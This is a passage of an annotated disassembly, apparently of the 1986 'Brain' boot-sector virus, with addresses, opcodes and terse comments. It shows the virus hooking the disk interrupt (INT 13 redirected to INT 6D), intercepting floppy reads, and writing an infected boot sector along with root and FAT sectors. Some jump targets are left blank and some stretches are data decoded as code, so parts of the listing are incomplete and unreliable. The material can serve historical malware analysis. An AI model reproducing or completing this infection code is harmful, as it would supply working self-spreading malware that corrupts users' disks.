  2696. ;-----------------------------------------------------------------------;
  2697. ;                                           ;
  2698. ;-----------------------------------------------------------------------;
  2699.     ADD  AL,00               ;0425 0400
  2700.     ADD  [06C6],CH      ;0427 002EC606
  2701.     AND  AX,1F02             ;042B 25021F
  2702.                         ;
  2703. ;-----------------------------------------------------------------------;
  2704. ;                                           ;
  2705. ;-----------------------------------------------------------------------;
  2706. REDIRECT_13:                 ;042E
  2707.     XOR  AX,AX               ;GET INT 13 VECTOR
  2708.     MOV  DS,AX               ;
  2709.     MOV  AX,[004CH]          ;
  2710.     MOV  [01B4H],AX          ;   (SAVE IT TO INT 6D VECTOR)
  2711.     MOV  AX,[004EH]          ;
  2712.     MOV  [01B6H],AX          ;
  2713.     MOV  AX,0276H       ;SET INT 13 VECTOR
  2714.     MOV  [004CH],AX          ;
  2715.     MOV  AX,CS               ;
  2716.     MOV  [004EH],AX          ;
  2717.                         ;
  2718.     MOV  CX,0004             ;RETRY = 4
  2719.     XOR  AX,AX               ;
  2720.     MOV  ES,AX               ;
  2721. L0450:   PUSH CX             ;
  2722.     MOV  DH,CS:[0006]        ;DH = HEAD
  2723.     MOV  DL,00               ;DRIVE A:
  2724.     MOV  CX,CS:[0007]        ;CX = TRACK/SECTOR
  2725.     MOV  AX,0201             ;READ 1 SECTOR
  2726.     MOV  BX,7C00             ;ES:BX == DTA = 0000:7C00
  2727.     INT  6DH            ;
  2728.     JNB  L0470               ;
  2729.     MOV  AH,00               ;RESET
  2730.     INT  6DH            ;
  2731.     POP  CX             ;TRY AGAIN
  2732.     LOOP L0450               ;
  2733.     INT  18H            ;LOAD BASIC
  2734.                         ;
  2735. L0470:   JMP  0000:7C00      ;JUMP TO BOOT LOADER ?!?!
  2736.                         ;
  2737.     NOP                 ;0475 90
  2738.     STI                 ;0476 FB
  2739.     CMP  AH,02               ;0477 80FC02
  2740.     JNZ  L0494               ;047A 7518
  2741.     CMP  DL,02               ;047C 80FA02
  2742.     JA   L0494               ;047F 7713
  2743.     CMP  CH,00               ;0481 80FD00
  2744.     JNZ  L048B               ;0484 7505
  2745.     CMP  DH,00               ;0486 80FE00
  2746.     JZ   L0497               ;0489 740C
  2747. L048B:   DEC  Byte Ptr CS:[0225]  ;048B 2EFE0E2502
  2748.     JNZ  L0494               ;0490 7502
  2749.     JMP  L0497               ;0492 EB03
  2750. L0494:   JMP  L053C               ;0494 E9A500
  2751. L0497:   MOV  Byte Ptr CS:[0227],00    ;0497 2EC606270200
  2752.     MOV  Byte Ptr CS:[0225],04    ;049D 2EC606250204
  2753.     PUSH AX             ;04A3 50
  2754.     PUSH BX             ;04A4 53
  2755.     PUSH CX             ;04A5 51
  2756.     PUSH DX             ;04A6 52
  2757.     MOV  CS:[0226],DL        ;04A7 2E88162602
  2758.     MOV  CX,0004             ;04AC B90400
  2759.     PUSH CX             ;04AF 51
  2760.     MOV  AH,00               ;04B0 B400
  2761.     INT  6D             ;04B2 CD6D
  2762.     JB   ;04CB               ;04B4 7215
  2763.     MOV  DH,00               ;04B6 B600
  2764.     MOV  CX,0001             ;04B8 B90100
  2765.     MOV  BX,06BE             ;04BB BBBE06
  2766.     PUSH ES             ;04BE 06
  2767.     MOV  AX,CS               ;04BF 8CC8
  2768.     MOV  ES,AX               ;04C1 8EC0
  2769.     MOV  AX,0201             ;04C3 B80102
  2770.     INT  6D             ;04C6 CD6D
  2771.     POP  ES             ;04C8 07
  2772.     JNB  ;04D1               ;04C9 7306
  2773.     POP  CX             ;04CB 59
  2774.     LOOP ;04AF               ;04CC E2E1
  2775.     JMP  ;04FF               ;04CE EB2F
  2776.     NOP                 ;04D0 90
  2777.     POP  CX             ;04D1 59
  2778.     MOV  AX,CS:[06C2]        ;04D2 2EA1C206
  2779.     CMP  AX,1234             ;04D6 3D3412
  2780.     JNZ  ;04E3               ;04D9 7508
  2781.     MOV  Byte Ptr CS:[0227],01    ;04DB 2EC606270201
  2782.     JMP  ;0503               ;04E1 EB20
  2783.     PUSH DS             ;04E3 1E
  2784.     PUSH ES             ;04E4 06
  2785.     MOV  AX,CS               ;04E5 8CC8
  2786.     MOV  DS,AX               ;04E7 8ED8
  2787.     MOV  ES,AX               ;04E9 8EC0
  2788.     PUSH SI             ;04EB 56
  2789.     CALL L0804               ;04EC E81503
  2790.     JB   ;04FA               ;04EF 7209
  2791.     MOV  Byte Ptr CS:[0227],02    ;04F1 2EC606270202
  2792.     CALL L06B2               ;04F7 E8B801
  2793.     POP  SI             ;04FA 5E
  2794.     POP  ES             ;04FB 07
  2795.     POP  DS             ;04FC 1F
  2796.     JNB  ;0503               ;04FD 7304
  2797.     MOV  AH,00               ;04FF B400
  2798.     INT  6D             ;0501 CD6D
  2799.     POP  DX             ;0503 5A
  2800.     POP  CX             ;0504 59
  2801.     POP  BX             ;0505 5B
  2802.     POP  AX             ;0506 58
  2803.     CMP  CX,+01              ;0507 83F901
  2804.     JNZ  L053C               ;050A 7530
  2805.     CMP  DH,00               ;050C 80FE00
  2806.     JNZ  L053C               ;050F 752B
  2807.     CMP  Byte Ptr CS:[0227],01    ;0511 2E803E270201
  2808.     JNZ  ;052A               ;0517 7511
  2809.     MOV  CX,CS:[06C5]        ;0519 2E8B0EC506
  2810.     MOV  DX,CS:[06C3]        ;051E 2E8B16C306
  2811.     MOV  DL,CS:[0226]        ;0523 2E8A162602
  2812.     JMP  L053C               ;0528 EB12
  2813.     CMP  Byte Ptr CS:[0227],02    ;052A 2E803E270202
  2814.     JNZ  L053C               ;0530 750A
  2815.                         ;
  2816.     MOV  CX,CS:[0007]        ;CX = TRACK/SECTOR
  2817.     MOV  DH,CS:[0006]        ;DH = HEAD
  2818. L053C:   INT  6DH            ;
  2819.     RETF 2              ;
  2820.                         ;
  2821. ;-----------------------------------------------------------------------;
  2822. ;                                           ;
  2823. ;-----------------------------------------------------------------------;
  2824. L0541    DB   0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
  2825.                         ;
  2826. ;-----------------------------------------------------------------------;
  2827. ;                                           ;
  2828. ;-----------------------------------------------------------------------;
  2829. L0550:   JMP  CONTINUE_3          ;
  2830.                         ;
  2831. ;-----------------------------------------------------------------------;
  2832. ;                                           ;
  2833. ;-----------------------------------------------------------------------;
  2834. L0553    DW   3              ;
  2835.     DB   ' (c) 1986 Basit & Amjads (pvt) Ltd'
  2836.                         ;
  2837. ;-----------------------------------------------------------------------;
  2838. ;                                           ;
  2839. ;-----------------------------------------------------------------------;
  2840. CONTINUE_3:                  ;0577
  2841.     CALL READ_VERIFY         ;READ VERIFY
  2842.     MOV  AX,[06BEH]          ;IF ??? == DOUBLD SIDED 9 SECTORS...
  2843.     CMP  AX,0FFFDH      ;
  2844.     JE   L0586               ;...CONTINUE
  2845.     MOV  AL,3           ;ELSE RETURN ??? ERROR
  2846.     STC                 ;
  2847.     RET                 ;
  2848.                         ;
  2849. ;-----------------------------------------------------------------------;
  2850. ;                                           ;
  2851. ;-----------------------------------------------------------------------;
  2852. L0586:                       ;0586
  2853.     MOV  CX,0037             ;
  2854.     MOV  Word Ptr [0353],0000     ;
  2855.     CALL ;05F8               ;058F E86600
  2856.     CMP  AX,0000             ;0592 3D0000
  2857.     JNZ  ;05A5               ;0595 750E
  2858.     INC  Word Ptr [0353]          ;0597 FF065303
  2859.     CMP  Word Ptr [0353],+03 ;059B 833E530303
  2860.     JNZ  ;05AB               ;05A0 7509
  2861.     JMP  ;05B6               ;05A2 EB12
  2862.     NOP                 ;05A4 90
  2863.     MOV  Word Ptr [0353],0000     ;05A5 C70653030000
  2864.     INC  CX             ;05AB 41
  2865.     CMP  CX,0163             ;05AC 81F96301
  2866.     JNZ  ;058F               ;05B0 75DD
  2867.     MOV  AL,01               ;05B2 B001
  2868.     STC                 ;05B4 F9
  2869.     RET                 ;05B5 C3
  2870.                         ;
  2871. ;-----------------------------------------------------------------------;
  2872. ;                                           ;
  2873. ;-----------------------------------------------------------------------;
  2874.     MOV  DL,03               ;05B6 B203
  2875.     CALL ;05CB               ;05B8 E81000
  2876.     DEC  CX             ;05BB 49
  2877.     DEC  DL             ;05BC FECA
  2878.     JNZ  ;05B8               ;05BE 75F8
  2879.     INC  CX             ;05C0 41
  2880.     CALL CONVERT_1      ;CLUSTER TO TRACK/SECTOR/HEAD
  2881.     CALL ;062D               ;05C4 E86600
  2882.     MOV  AL,00               ;05C7 B000
  2883.     CLC                 ;05C9 F8
  2884.     RET                 ;05CA C3
  2885.                         ;
  2886. ;-----------------------------------------------------------------------;
  2887. ;                                           ;
  2888. ;-----------------------------------------------------------------------;
  2889.     PUSH CX             ;05CB 51
  2890.     PUSH DX             ;05CC 52
  2891.     MOV  SI,06BE             ;05CD BEBE06
  2892.     MOV  AL,CL               ;05D0 8AC1
  2893.     SHR  AL,1           ;05D2 D0E8
  2894.     JB   ;05E4               ;05D4 720E
  2895.     CALL FUNCTION_1          ;BX = (CX*3)/2
  2896.     MOV  AX,[BX+SI]          ;05D9 8B00
  2897.     AND  AX,F000             ;05DB 2500F0
  2898.     OR   AX,0FF7             ;05DE 0DF70F
  2899.     JMP  ;05EF               ;05E1 EB0C
  2900.     NOP                 ;05E3 90
  2901.     CALL FUNCTION_1          ;BX = (CX*3)/2
  2902.     MOV  AX,[BX+SI]          ;05E7 8B00
  2903.     AND  AX,000F             ;05E9 250F00
  2904.     OR   AX,FF70             ;05EC 0D70FF
  2905.     MOV  [BX+SI],AX          ;05EF 8900
  2906.     MOV  [BX+SI+0400],AX          ;05F1 89800004
  2907.     POP  DX             ;05F5 5A
  2908.     POP  CX             ;05F6 59
  2909.     RET                 ;05F7 C3
  2910.                         ;
  2911. ;-----------------------------------------------------------------------;
  2912. ;                                           ;
  2913. ;-----------------------------------------------------------------------;
  2914.     PUSH CX             ;05F8 51
  2915.     MOV  SI,06BE             ;05F9 BEBE06
  2916.     MOV  AL,CL               ;05FC 8AC1
  2917.     SHR  AL,1           ;05FE D0E8
  2918.     JB   L060D               ;0600 720B
  2919.     CALL FUNCTION_1          ;BX = (CX*3)/2
  2920.     MOV  AX,[BX+SI]          ;0605 8B00
  2921.     AND  AX,0FFF             ;0607 25FF0F
  2922.     JMP  L0619               ;060A EB0D
  2923.                         ;
  2924. L060D:   CALL FUNCTION_1          ;BX = (CX*3)/2
  2925.     MOV  AX,[BX+SI]          ;0610 8B00
  2926.     AND  AX,FFF0             ;0612 25F0FF
  2927.     MOV  CL,04               ;0615 B104
  2928.     SHR  AX,CL               ;0617 D3E8
  2929. L0619:   POP  CX             ;0619 59
  2930.     RET                 ;061A C3
  2931.                         ;
  2932. ;-----------------------------------------------------------------------;
  2933. ; BX = (CX*3)/2                                       ;
  2934. ;-----------------------------------------------------------------------;
  2935. FUNCTION_1:                  ;061B
  2936.     PUSH DX             ;
  2937.     MOV  AX,3           ;
  2938.     MUL  CX             ;
  2939.     SHR  AX,1           ;
  2940.     MOV  BX,AX               ;
  2941.     POP  DX             ;
  2942.     RET                 ;
  2943.                         ;
  2944. ;-----------------------------------------------------------------------;
  2945. ;                                           ;
  2946. ;-----------------------------------------------------------------------;
  2947. READ_VERIFY:                 ;0627
  2948.     MOV  AH,2           ;
  2949.     CALL VERIFY_SECTORS      ;
  2950.     RET                 ;
  2951.                         ;
  2952. ;-----------------------------------------------------------------------;
  2953. ;                                           ;
  2954. ;-----------------------------------------------------------------------;
  2955. WRITE_VERIFY:                ;062D
  2956.     MOV  AH,03               ;
  2957.     CALL VERIFY_SECTORS      ;
  2958.     RET                 ;
  2959.                         ;
  2960. ;-----------------------------------------------------------------------;
  2961. ;                                           ;
  2962. ;-----------------------------------------------------------------------;
  2963. VERIFY_SECTORS:                   ;0633
  2964.     MOV  CX,4           ;RETRY = 4
  2965. L0636:   PUSH CX             ;
  2966.     PUSH AX             ;
  2967.     MOV  AH,0           ;REST
  2968.     INT  6DH            ;
  2969.     POP  AX             ;
  2970.     JB   L0653               ;
  2971.     MOV  BX,offset L06BEH    ;
  2972.     MOV  AL,4           ;4==VERIFY
  2973.     MOV  DH,00               ;HEAD 0
  2974.     MOV  DL,[0226]      ;DRIVE DL
  2975.     MOV  CX,0002             ;TRACK 0/SECTOR 2
  2976.     PUSH AX             ;
  2977.     INT  6DH            ;
  2978.     POP  AX             ;
  2979.     JNB  L065C               ;IF ERROR...EXIT
  2980. L0653:   POP  CX             ;
  2981.     LOOP L0636               ;RETRY
  2982.     POP  AX             ;
  2983.     POP  AX             ;
  2984.     MOV  AL,2           ;BAD ADDRESS MARK ???
  2985.     STC                 ;RETURN ERROR
  2986.     RET                 ;
  2987.                         ;
  2988. L065C:   POP  CX             ;
  2989.     RET                 ;
  2990.                         ;
  2991. ;-----------------------------------------------------------------------;
  2992. ; CONVERT CLUSTERS TO TRACK/SECTOR/HEAD ????                    ;
  2993. ;-----------------------------------------------------------------------;
  2994. CONVERT_1:                   ;065E
  2995.     PUSH CX             ;
  2996.     SUB  CX,2           ;
  2997.     SHL  CX,1           ;WORD PTR
  2998.     ADD  CX,9*2              ;   (SECTORS PER CYLINDER ???)
  2999.     MOV  AX,CX               ;
  3000.     MOV  CL,9*2              ;   (SECTORS PER CYLINDER ???)
  3001.     DIV  CL             ;
  3002.     MOV  DS:[0008],AL        ;AL = TRACK
  3003.     MOV  Byte Ptr DS:[0006],0     ;INC. HEAD
  3004.     INC  AH             ;INC. SECTOR
  3005.     CMP  AH,9           ;IF TOO BIG...
  3006.     JBE  L0684               ;
  3007.     SUB  AH,9           ;...START AT ZERO
  3008.     MOV  Byte Ptr DS:[0006],1     ;INC. HEAD
  3009. L0684:   MOV  DS:[0007],AH        ;
  3010.     POP  CX             ;
  3011.     RET                 ;
  3012.                         ;
  3013. ;-----------------------------------------------------------------------;
  3014. ;                                           ;
  3015. ;-----------------------------------------------------------------------;
  3016.     ADD  [BX+SI],AL          ;068A 0000
  3017.     ADD  [BX+SI],AL          ;068C 0000
  3018.     ADD  [BX+SI],AL          ;068E 0000
  3019.     ADD  BP,[SI+00]          ;0690 036C00
  3020.     ADD  AX,[BP+DI]          ;0693 0303
  3021.     MOV  SI,010E             ;0695 BE0E01
  3022.     ADD  [BX+SI],AL          ;0698 0000
  3023.     ADD  AX,SP               ;069A 01E0
  3024.     FCOMP     DWord Ptr [DI+E0D7] ;069C D89DD7E0
  3025.     LAHF                ;06A0 9F
  3026.     LEA  BX,[BX+SI+8E9F]          ;06A1 8D989F8E
  3027.     LOOPNZ    ;06C7               ;06A5 E020
  3028.     SUB  [BP+DI+29],AH       ;06A7 286329
  3029.     AND  [BP+SI+72],AL       ;06AA 204272
  3030.     POPA                ;06AD 61
  3031.     IMUL BP,[BP+20],E824          ;06AE 696E2024E8
  3032.     FILD DWord Ptr [BX+SI]   ;06B3 DB00
  3033.     JB   L06C1               ;06B5 720A
  3034.     PUSH DI             ;06B7 57
  3035.     CALL ;06DA               ;06B8 E81F00
  3036.     POP  DI             ;06BB 5F
  3037.     JB   L06C1               ;06BC 7203
  3038.     CALL WRITE_RBF      ;WRITE ROOT BOOT FAT
  3039. L06C1:   RET                 ;06C1 C3
  3040.                         ;
  3041. ;-----------------------------------------------------------------------;
  3042. ;                                           ;
  3043. ;-----------------------------------------------------------------------;
  3044.     MOV  BX,049B             ;06C2 BB9B04
  3045.     MOV  CX,000B             ;
  3046. L06C8:   MOV  AL,[BX]             ;
  3047.     NEG  AL             ;
  3048.     MOV  [SI],AL             ;
  3049.     INC  SI             ;
  3050.     INC  BX             ;
  3051.     LOOP L06C8               ;
  3052.                         ;
  3053.     MOV  AL,08               ;
  3054.     MOV  [SI],AL             ;
  3055.     CLC                 ;
  3056.     RET                 ;06D7 C3
  3057.                         ;
  3058. ;-----------------------------------------------------------------------;
  3059. ;                                           ;
  3060. ;-----------------------------------------------------------------------;
  3061.     MOV  Byte Ptr [06C7],91  ;06D8 C606C70691
  3062.     ADD  AL,6C               ;06DD 046C
  3063.     ADD  [BP+06FE],BH        ;06DF 00BEFE06
  3064.     MOV  [0493],DX      ;06E3 89169304
  3065.     MOV  AX,[0491]      ;06E7 A19104
  3066.     SHR  AX,1           ;06EA D1E8
  3067.     MOV  [0497],AX      ;06EC A39704
  3068.     SHR  AX,1           ;06EF D1E8
  3069.     MOV  [0495],AX      ;06F1 A39504
  3070.     XCHG AX,CX               ;06F4 91
  3071.     AND  CL,43               ;06F5 80E143
  3072.     MOV  DI,[0495]      ;06F8 8B3E9504
  3073.     ADD  DI,01E3             ;06FC 81C7E301
  3074.     MOV  AL,[SI]             ;0700 8A04
  3075.     CMP  AL,00               ;0702 3C00
  3076.     JZ   ;071B               ;0704 7415
  3077.     MOV  AL,[SI+0B]          ;0706 8A440B
  3078.     AND  AL,08               ;0709 2408
  3079.     CMP  AL,08               ;070B 3C08
  3080.     JZ   ;071B               ;070D 740C
  3081.     ADD  SI,+20              ;070F 83C620
  3082.     DEC  Word Ptr [0491]          ;0712 FF0E9104
  3083.     JNZ  ;0700               ;0716 75E8
  3084.     STC                 ;0718 F9
  3085.     RET                 ;0719 C3
  3086.                         ;
  3087. ;-----------------------------------------------------------------------;
  3088. ;                                           ;
  3089. ;-----------------------------------------------------------------------;
  3090. :                       ;071A
  3091.     MOV  CX,[BP+DI+331D]          ;
  3092.     PUSH DS             ;071E 1E
  3093.     XCHG AX,DI               ;071F 97
  3094.     ADD  AL,89               ;0720 0489
  3095.     XCHG AX,DI               ;0722 3697
  3096.     ADD  AL,FA               ;0724 04FA
  3097.     MOV  AX,SS               ;0726 8CD0
  3098.     MOV  SS:[0493],AX        ;0728 A39304
  3099.     MOV  [0495],SP      ;072B 89269504
  3100.     MOV  AX,CS               ;072F 8CC8
  3101.     MOV  SS,AX               ;0731 8ED0
  3102.     MOV  SP,[0497]      ;0733 8B269704
  3103.     ADD  SP,+0C              ;0737 83C40C
  3104.     MOV  CL,51               ;073A B151
  3105.     ADD  DX,444C             ;073C 81C24C44
  3106.     MOV  DI,2555             ;0740 BF5525
  3107.     MOV  CX,0C03             ;0743 B9030C
  3108.     REPZ                ;0746 F3
  3109.     CMPSW                    ;0747 A7
  3110.     MOV  AX,0B46             ;0748 B8460B
  3111.     MOV  CX,0003             ;074B B90300
  3112.     ROL  AX,CL               ;074E D3C0
  3113.     MOV  [0497],AX      ;0750 A39704
  3114.     MOV  CX,0005             ;0753 B90500
  3115.     MOV  DX,0008             ;0756 BA0800
  3116.     SUB  Word Ptr [0497],5210     ;0759 812E97041052
  3117.     PUSH [0497]              ;075F FF369704
  3118. L0763:   MOV  AH,[BX]             ;0763 8A27
  3119.     INC  BX             ;0765 43
  3120.     MOV  DL,AH               ;0766 8AD4
  3121.     SHL  DL,1           ;0768 D0E2
  3122.     JB   L0763               ;076A 72F7
  3123. L076C:   MOV  DL,[BX]             ;076C 8A17
  3124.     INC  BX             ;076E 43
  3125.     MOV  AL,DL               ;076F 8AC2
  3126.     SHL  DL,1           ;0771 D0E2
  3127.     JB   L076C               ;0773 72F7
  3128.     ADD  AX,1D1D             ;0775 051D1D
  3129.     PUSH AX             ;0778 50
  3130.     INC  Word Ptr [0497]          ;0779 FF069704
  3131.     JNB  L0780               ;077D 7301
  3132.     JMP  268B:E1E2      ;077F EAE2E18B26
  3133.                         ;
  3134.     XCHG AX,BP               ;0784 95
  3135.     ADD  AL,A1               ;0785 04A1
  3136.     XCHG AX,BX               ;0787 93
  3137.     ADD  AL,8E               ;0788 048E
  3138.     SAR  BL,1           ;078A D0FB
  3139.     ADD  DH,[BP+SI]          ;078C 0232
  3140.     CLC                 ;078E F8
  3141.     RET                 ;078F C3
  3142.                         ;
  3143. ;-----------------------------------------------------------------------;
  3144. ; READ ROOT, BOOT, FIRST FAT                          ;
  3145. ;-----------------------------------------------------------------------;
  3146. READ_RBF:                    ;0790
  3147.     MOV  Byte Ptr [0490],02  ;COMMAND = READ
  3148.     JMP  ROOT_BOOT_FAT       ;DO IT
  3149.                         ;
  3150. ;-----------------------------------------------------------------------;
  3151. ; WRITE ROOT, BOOT, FIRST FAT                              ;
  3152. ;-----------------------------------------------------------------------;
  3153. WRITE_RBF:                   ;0798
  3154.     MOV  Byte Ptr [0490],03  ;COMMAND = WRITE
  3155.     JMP  ROOT_BOOT_FAT       ;DO IT
  3156.                         ;
  3157. ;-----------------------------------------------------------------------;
  3158. ; READ OR WRITE ROOT, BOOT, FIRST FAT                      ;
  3159. ;-----------------------------------------------------------------------;
  3160. ROOT_BOOT_FAT:                    ;07A0
  3161.     MOV  DH,0           ;HEAD = 0
  3162.     MOV  DL,[226H]      ;DL = DRIVE
  3163.     MOV  CX,6           ;(TRACK 0/SECTOR 6) == ENTIRE ROOT DIR
  3164.     MOV  AH,[490H]      ;AH = COMMAND
  3165.     MOV  AL,4           ;4 SECTORS
  3166.     MOV  BX,6BEH             ;ES:BX = DTA
  3167.     CALL RESET_DO_IT         ;GO TO DISK
  3168.     JB   L07C9               ;IF ERROR...EXIT
  3169.                         ;
  3170.     MOV  CX,1           ;(TRACK 0/SECTOR 1) == BOOT & FAT1
  3171.     MOV  DH,1           ;HEAD 1
  3172.     MOV  AH,[490H]      ;AH = COMMAND
  3173.     MOV  AL,3           ;3 SECTORS
  3174.     ADD  BX,800H             ;ES:BX = DTA
  3175.     CALL RESET_DO_IT         ;GO TO DISK
  3176. L07C9:   RET                 ;
  3177.                         ;
  3178. ;-----------------------------------------------------------------------;
  3179. ; RESET DRIVE BEFORE DOING SPECIFIED FUNCTION                   ;
  3180. ;-----------------------------------------------------------------------;
  3181. RESET_DO_IT:                 ;07CA
  3182.     MOV  [0493],AX      ;
  3183.     MOV  [0495],BX      ;SAVE REGs
  3184.     MOV  [0497],CX      ;
  3185.     MOV  [0499],DX      ;
  3186.     MOV  CX,0004             ;RETRY COUNT = 4
  3187.                         ;
  3188. RDI_10:  PUSH CX             ;
  3189.     MOV  AH,00               ;REST DRIVE
  3190.     INT  6D             ;
  3191.     JB   RDI_80              ;IF ERROR...RETRY
  3192.     MOV  AX,[0493]      ;RESTORE REGs
  3193.     MOV  BX,[0495]      ;
  3194.     MOV  CX,[0497]      ;
  3195.     MOV  DX,[0499]      ;
  3196.     INT  6D             ;DO SPECIFIED FUNCTION
  3197.     JNB  RDI_90              ;IF NO ERROR...EXIT
  3198. RDI_80:  POP  CX             ;
  3199.     LOOP RDI_10              ;RETRY
  3200.     STC                 ;RETURN ERROR
  3201.     RET                 ;
  3202.                         ;
  3203. RDI_90:  POP  CX             ;RETURN NO ERROR
  3204.     RET                 ;
  3205.                         ;
  3206. ;-----------------------------------------------------------------------;
  3207. ;                                           ;
  3208. ;-----------------------------------------------------------------------;
  3209.     ADD  [BX+SI],AL          ;07FD 0000
  3210.     ADD  [BP+DI],AL          ;07FF 0003
  3211.     ADD  [BX+DI],AL          ;0801 0001
  3212.  
  3213. L0804: ?!?!
  3214.  
  3215.  
  3216.  
  3217.  
  3218.     ADD  BP,AX               ;0803 03E8
  3219.     DEC  CX             ;0805 49
  3220.     STD                 ;0806 FD
  3221.     JB   ;085D               ;0807 7254
  3222.                         ;
  3223.     MOV  Word Ptr [000A],0001     ;
  3224.     MOV  Byte Ptr [0009],00  ;
  3225.     MOV  BX,06BE             ;ES:BX = DTA ?
  3226.     CALL READ_SECTORS        ;
  3227.                         ;
  3228.     MOV  BX,06BE             ;BX = DTA
  3229.     MOV  AX,[0007]      ;GET SECTOR TRACK
  3230.     MOV  [000A],AX      ;SAVE SECTOR/TRACK
  3231.     MOV  AH,[0006]      ;GET HEAD
  3232.     MOV  [0009],AH      ;SAVE HEAD
  3233.     CALL WRITE_SECTORS       ;WRITE SECTOR(S)
  3234.     CALL NEXT_SECTOR         ;POINT TO NEXT
  3235.                         ;
  3236.     MOV  CX,0005             ;CX = ???
  3237.     MOV  BX,0200             ;BX = DTA
  3238. L0837:   MOV  [0600],CX      ;SAVE ???
  3239.     CALL WRITE_SECTORS       ;WRITE SECTOR(S)
  3240.     CALL NEXT_SECTOR         ;POINT TO NEXT
  3241.     ADD  BX,512              ;DTA += 512
  3242.     MOV  CX,[0600]      ;???
  3243.     LOOP L0837               ;LOOP 5 TIMES ???
  3244.                         ;
  3245.     MOV  Byte Ptr [0009],00  ;HEAD = 0
  3246.     MOV  Word Ptr [000A],0001     ;TRACK/SECTOR = 0/1
  3247.     MOV  BX,0000             ;DTA = INFECTED BOOT SECTOR
  3248.     CALL WRITE_SECTORS       ;WRITE INFECTED BOOT SECTOR
  3249.     CLC                 ;
  3250.     RET                 ;
  3251.                         ;
  3252. ;-----------------------------------------------------------------------;
  3253. ;                                           ;
  3254. ;-----------------------------------------------------------------------;
  3255. READ_SECTORS:                ;085E
  3256.     MOV  Word Ptr [0602H],0201H   ;READ CMD/1 SECTOR
  3257.     JMP  DO_SECTORS          ;
  3258.                         ;
  3259. ;-----------------------------------------------------------------------;
  3260. ;                                           ;
  3261. ;-----------------------------------------------------------------------;
  3262. WRITE_SECTORS:                    ;0867
  3263.     MOV  Word Ptr [0602H],0301H   ;WRITE CMD/1 SECTOR
  3264.     JMP  DO_SECTORS          ;
  3265.                         ;
  3266. ;-----------------------------------------------------------------------;
  3267. ; READ OR WRITE SOME SECTORS WITH A RETRY COUNT OF 4            ;
  3268. ;                                           ;
  3269. ; ON ENTRY:   DS:[601H] = COMMAND                     ;
  3270. ;        DS:[602H] = SECTOR COUNT                ;
  3271. ;        DS:[226H] = DRIVE                       ;
  3272. ;        DS:[0009] = HEAD                        ;
  3273. ;        DS:[000A] = SECTOR                      ;
  3274. ;        DS:[000B] = TRACK                       ;
  3275. ;-----------------------------------------------------------------------;
  3276. DO_SECTORS:                  ;0870
  3277.     PUSH BX             ;
  3278.     MOV  CX,4           ;RETRY COUNT = 4
  3279.                         ;
  3280. D1S_10:  PUSH CX             ;
  3281.     MOV  DH,[9]              ;HEAD = 9
  3282.     MOV  DL,[226H]      ;DRIVE
  3283.     MOV  CX,[10]             ;TRACK/SECT
  3284.     MOV  AX,[602H]      ;COMMAND/COUNT
  3285.     INT  6DH            ;(SAME AS INT 13)
  3286.     JNB  D1S_80              ;
  3287.                         ;
  3288.     MOV  AH,00               ;RESET
  3289.     INT  6DH            ;(SAME AS INT 13)
  3290.     POP  CX             ;
  3291.     LOOP D1S_10              ;TRY AGAIN
  3292.     POP  BX             ;
  3293.     POP  BX             ;
  3294.     STC                 ;RETURN ERROR
  3295.     RET                 ;
  3296.                         ;
  3297. D1S_80:  POP  CX             ;0893 59
  3298.     POP  BX             ;0894 5B
  3299.     RET                 ;0895 C3
  3300.                         ;
  3301. ;-----------------------------------------------------------------------;
  3302. ; INC. NEXT SECTOR                               ;
  3303. ; ON ENTRY:   DS:[0009] = HEAD                        ;
  3304. ;        DS:[000A] = SECTOR                      ;
  3305. ;        DS:[000B] = TRACK                       ;
  3306. ;-----------------------------------------------------------------------;
  3307. NEXT_SECTOR:                 ;0896
  3308.     INC  Byte Ptr [10]       ;SECTOR
  3309.     CMP  Byte Ptr [10],10    ;
  3310.     JNZ  NS_90               ;
  3311.     MOV  Byte Ptr [10],1          ;
  3312.     INC  Byte Ptr [9]        ;HEAD
  3313.     CMP  Byte Ptr [9],2      ;
  3314.     JNZ  NS_90               ;
  3315.     MOV  Byte Ptr [9],0      ;
  3316.     INC  Byte Ptr [11]       ;TRACK
  3317. NS_90:   RET                 ;
  3318.                         ;
  3319. ;-----------------------------------------------------------------------;
  3320. ;                                           ;
  3321. ;-----------------------------------------------------------------------;
  3322.     DB   64             ;08BB 'dtk'
  3323.     JZ   ;091F               ;
  3324.                         ;
  3325. ;---------------------------------------;
  3326.     JMP  CONTINUE_4          ;08FA
  3327.                         ;
  3328.          DB   'IBM X3.2'     ;OEM NAME AND VERSION
  3329.                         ;
  3330.          DW   512       ;BYTES PER SECTOR
  3331.          DB   2         ;SECTORS PER ALLOCATION UNIT
  3332.          DW   1         ;RESERVED SECTORS
  3333.          DB   2         ;NUMBER OF FATS
  3334.          DW   112       ;NUMBER OF ROOT DIR ENTRIES
  3335.          DW   2D0H      ;SECTORS PER DISK
  3336.          DB   0FDH      ;MEDIA ID
  3337.          DW   2         ;SECTORS PER FAT
  3338.          DW   9         ;SECTORS PER TRACK
  3339.          DW   2         ;NUMBER OF HEADS
  3340.          DW   0         ;HIDDEN SECTORS
  3341.                         ;
  3342. ;---------------------------------------;
  3343.          DB   0,0
  3344.          DB   0,0,0,0,0,0,0,0,0,0,0,0,0,0
  3345.  
  3346.          DB   002H,0DFH
  3347.          DB   002H,025H,002H,012H
  3348.          DB   02AH,0FFH,050H,0F6H
  3349.          DB   000H,002H,
  3350.  
  3351. ;-----------------------------------------------------------------------;
  3352. ;                                           ;
  3353. ;-----------------------------------------------------------------------;
  3354.     INT  19H            ;REBOOT
  3355.                         ;
  3356. L08FA:   CLI                 ;08FA FA
  3357.     XOR  AX,AX               ;08FB 33C0
  3358.     MOV  ES,AX               ;08FD 8EC0
  3359.     MOV  SS,AX               ;08FF 8ED0
  3360.     MOV  SP,7C00             ;0901 BC007C
  3361.     MOV  DS,AX               ;0904 8ED8
  3362.     MOV  BX,07C0             ;0906 BBC007
  3363.     MOV  Word Ptr [0078],002F     ;0909 C70678002F00
  3364.     MOV  [007A],BX      ;090F 891E7A00
  3365.     MOV  DS,BX               ;0913 8EDB
  3366.     MOV  DX,[001E]      ;0915 8B161E00
  3367.     MOV  [0020],DL      ;0919 88162000
  3368.     INT  13             ;GO TO DISK
  3369.     JNB  ;0924               ;091F 7303
  3370.     JMP  ;09FC               ;0921 E9D800
  3371.     MOV  SI,000B             ;0924 BE0B00
  3372.     MOV  CX,[SI]             ;0927 8B0C
  3373.     SHR  CH,1           ;0929 D0ED
  3374.     XCHG CH,CL               ;092B 86E9
  3375.     MOV  [002B],CX      ;092D 890E2B00
